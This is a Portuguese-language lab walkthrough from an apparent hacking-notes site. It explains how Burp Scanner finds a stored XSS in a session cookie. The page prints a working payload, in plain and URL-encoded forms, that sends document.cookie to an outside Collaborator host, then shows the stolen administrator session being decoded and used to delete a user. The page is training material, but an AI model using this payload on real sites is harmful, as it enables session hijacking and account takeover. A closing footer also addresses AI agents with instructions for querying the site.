> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/pt-br/web/essential-skills/analyzing-non-standard-data-structures.md).

# Análise de Estruturas de Dados Não Padronizadas

### Verificando Estruturas de Dados Não Padronizadas

**Contexto do laboratório**

Este laboratório contém uma vulnerabilidade difícil de identificar manualmente porque ela está localizada em uma **estrutura de dados não padronizada**. / O objetivo é usar **Burp Scanner**, em particular a **Verificar ponto de inserção selecionado** funcionalidade, para detectar a vulnerabilidade e depois explorá-la manualmente para **remover o usuário `carlos`**.

Identificador fornecido:

* **Usuário**: wiener
* **Senha**: peter

**Etapa 1 – Autenticação**

Conecte-se à aplicação pela página de login com as credenciais fornecidas.

<figure><img src="/files/ef5bd69270e848d4fc803a353450941acda464c4" alt=""><figcaption></figcaption></figure>

**Etapa 2 – Varredura direcionada em um ponto de inserção**

Em vez de executar uma varredura global, é realizada uma varredura altamente direcionada:

* Uma solicitação autenticada é interceptada.
* Apenas o **valor do cookie de sessão** é selecionado.

<figure><img src="/files/4126dd646b9565aa0d152ae9ebebd3a3016ec763" alt=""><figcaption></figcaption></figure>

* Iniciamos **Burp Scanner → Verificar ponto de inserção selecionado** neste elemento específico.

Essa varredura minimalista permite analisar uma área raramente testada manualmente: a estrutura interna do cookie.

<figure><img src="/files/1589478fb19ff8a65d234adabd7432f6b6477b3e" alt=""><figcaption></figcaption></figure>

**Etapa 3 – Detecção da vulnerabilidade**

O Burp Scanner identifica uma vulnerabilidade do tipo:

* **Cross-Site Scripting (XSS) armazenado**

A carga útil detectada é injetada diretamente no cookie de sessão.

<figure><img src="/files/af71243b310e1af73fdd4f16e94516d6f4de5113" alt=""><figcaption></figcaption></figure>

Exemplo da carga útil inicial detectada:

{% code overflow="wrap" %}

```bash
Cookie: session='"><svg/onload=fetch`//uqo5wxufqik239ij6afcc710crik6hu6.oastify/.oastify.com`>:7eQqV1q8zph4P71fADS843xTb5B9ev5V
```

{% endcode %}

**Etapa 4 – Exfiltrando o cookie via Burp Collaborator**

Adaptamos a carga útil para extrair `document.cookie` o conteúdo para o nosso servidor Collaborator, codificado em Base64:

{% code overflow="wrap" %}

```bash
Cookie: session='"><svg/onload=fetch(`//uqo5wxufqik239ij6afcc710crik6hu6/.oastify.com/${btoa(document.cookie)}`)>:7eQqV1q8zph4P71fADS843xTb5B9ev5V
```

{% endcode %}

Em seguida, **codificamos a URL** a carga útil antes de injetar:

```bash
'%22%3e%3csvg%2fonload%3dfetch(%60%2f%2fuqo5wxufqik239ij6afcc710crik6hu6%5c.oastify.com%2f%24%7bbtoa(document.cookie)%7d%60)%3e%3a7eQqV1q8zph4P71fADS843xTb5B9ev5V
```

<figure><img src="/files/239551f64baec6015a5eb5e90f0896b5aa98ba68" alt=""><figcaption></figcaption></figure>

**Etapa 5 – Recuperação e decodificação do cookie de administrador**

O servidor Collaborator recebe uma solicitação contendo o cookie codificado em Base64:

```bash
GET
/c2Vzc2lvbj1hZG1pbmlzdHJhdG9yJTNhelJETWFQTzlaZHhiMGdvZ1NMOTJFMVFOeFFncVQ1dHY7IHNlY3JldD1TTjhvd081cHQ3d2Zsb2IxVkhSWG11U2E1YmI4MmlHWDsgc2Vzc2lvbj1hZG1pbmlzdHJhdG9yJTNhelJETWFQTzlaZHhiMGdvZ1NMOTJFMVFOeFFncVQ1dHY=
```

Após a decodificação, obtemos:

```bash
session=administrator%3azRDMaPO9Zdxb0gogSL92E1QNxQgqT5tv; secret=SN8owO5pt7wflob1VHRXmuSa5bb82iGX; session=administrator%3azRDMaPO9Zdxb0gogSL92E1QNxQgqT5tv
```

<figure><img src="/files/1cd2f8f40f40fa5694b00cae28e7c7e594d1b568" alt=""><figcaption></figcaption></figure>

**Etapa 6 – Acesso de administrador e operação final**

Usando o cookie de sessão de administrador:

* A interface **admin** é acessada.
* Uma página interna de **logs** está acessível.
* Esta página exibiu cookies sem filtragem, o que explica a persistência do **XSS armazenado**.
* Então, é possível remover o usuário **carlos** e validar o laboratório.

<figure><img src="/files/6003f3af3ca05228be6ee993db32036030523833" alt=""><figcaption></figcaption></figure>


---

# Agent Instructions
This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com.

## Querying This Documentation
If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.

Perform an HTTP GET request on the current page URL with the `ask` query parameter, and the optional `goal` query parameter:

```
GET https://hacking-notes.jord4n.pro/pt-br/web/essential-skills/analyzing-non-standard-data-structures.md?ask=<question>&goal=<endgoal>
```

`ask` is the immediate question: it should be specific, self-contained, and written in natural language.
`goal` is optional and describes the broader end goal you are ultimately trying to accomplish on behalf of the user. GitBook uses it to tailor the answer towards what is most useful for that goal.

The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
